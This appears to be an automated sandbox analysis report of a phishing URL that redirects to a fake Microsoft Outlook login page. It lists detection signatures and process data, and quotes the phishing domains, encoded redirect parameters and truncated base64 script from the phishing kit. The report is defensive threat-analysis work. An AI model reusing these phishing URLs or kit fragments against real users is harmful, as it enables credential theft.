Edit tour

Windows Analysis Report
https://ayssaless.com/?dybkhjzu

Overview

General Information

Sample URL:	https://ayssaless.com/?dybkhjzu
Analysis ID:	1467267
Infos:

Detection

HTMLPhisher

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

Phishing site detected (based on favicon image match)

Yara detected HtmlPhish54

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

Detected suspicious crossdomain redirect

Found iframes

HTML body contains low number of good links

HTML page contains hidden URLs or javascript code

HTML page contains obfuscate script src

Invalid T&C link found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5808 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1456 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1852,i,12767476324253814656,13431870517047841025,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6376 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://ayssaless.com/?dybkhjzu" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
2.6.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.7.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.9.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://ayssaless.com/?dybkhjzu

SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Phishing

AI detected phishing page

Source: https://phvr.org

LLM: Score: 9 brands: Microsoft Reasons: The URL 'https://phvr.org' does not match the legitimate domain name 'outlook.com' associated with Microsoft Outlook. The page prominently displays a login form, which is a common tactic used in phishing attacks to capture user credentials. Additionally, the domain 'phvr.org' is suspicious and does not correspond to any known Microsoft domain. The presence of a login form without a CAPTCHA further raises suspicion. The combination of these factors strongly suggests that this is a phishing site. DOM: 3.9.pages.csv

Phishing site detected (based on favicon image match)

Source: https://phvr.org	Matcher: Template: microsoft matched with high similarity
Source: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=true	Matcher: Template: microsoft matched with high similarity

Yara detected HtmlPhish54

Source: Yara match	File source: 2.6.pages.csv, type: HTML
Source: Yara match	File source: 3.7.pages.csv, type: HTML
Source: Yara match	File source: 3.9.pages.csv, type: HTML

Phishing site detected (based on image similarity)

Source: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=true	Matcher: Found strong image similarity, brand: MICROSOFT
Source: https://phvr.org/owa/	Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTA	Matcher: Template: microsoft matched
Source: https://phvr.org/owa/	Matcher: Template: microsoft matched

Source: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=true	HTTP Parser: Iframe src: https://outlook.office365.com/owa/prefetch.aspx
Source: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=true	HTTP Parser: Iframe src: https://outlook.office365.com/owa/prefetch.aspx

Source: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=true

HTTP Parser: Number of links: 0

Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/fozv9/0x4AAAAAAAdTh0M8wTbaildE/auto/normal

HTTP Parser: Base64 decoded: http://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/fozv9/0x4AAAAAAAdTh0M8wTbaildE/auto/normal

Source: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cm	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cm	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cm	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://phvr.org/owa/	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX

Source: https://phvr.org/owa/	HTTP Parser: Invalid link: Other important privacy information
Source: https://phvr.org/owa/	HTTP Parser: Invalid link: U.S. State Data Privacy
Source: https://phvr.org/owa/	HTTP Parser: Invalid link: Changes to this privacy statement
Source: https://phvr.org/owa/	HTTP Parser: Invalid link: Get Help

HTTP Parser: <input type="password" .../> found

Source: https://ayssaless.com/?dybkhjzu=7fd3278cbad230a46aea1749c768258a239f96a4595391908a87812351a895e43093a1c5c4e9f400c6baeab531aa312d260c1bdff35b93216f7c90c5166986c9	HTTP Parser: No favicon
Source: https://ayssaless.com/?dybkhjzu=7fd3278cbad230a46aea1749c768258a239f96a4595391908a87812351a895e43093a1c5c4e9f400c6baeab531aa312d260c1bdff35b93216f7c90c5166986c9	HTTP Parser: No favicon
Source: https://ayssaless.com/?dybkhjzu=7fd3278cbad230a46aea1749c768258a239f96a4595391908a87812351a895e43093a1c5c4e9f400c6baeab531aa312d260c1bdff35b93216f7c90c5166986c9	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/fozv9/0x4AAAAAAAdTh0M8wTbaildE/auto/normal	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/fozv9/0x4AAAAAAAdTh0M8wTbaildE/auto/normal	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/fozv9/0x4AAAAAAAdTh0M8wTbaildE/auto/normal	HTTP Parser: No favicon
Source: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q	HTTP Parser: No favicon
Source: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=true	HTTP Parser: No favicon
Source: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=true	HTTP Parser: No favicon
Source: https://outlook.office365.com/owa/prefetch.aspx	HTTP Parser: No favicon
Source: https://phvr.org/owa/	HTTP Parser: No favicon

Source: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://phvr.org/owa/	HTTP Parser: No <meta name="author".. found

Source: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://phvr.org/owa/	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49745 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

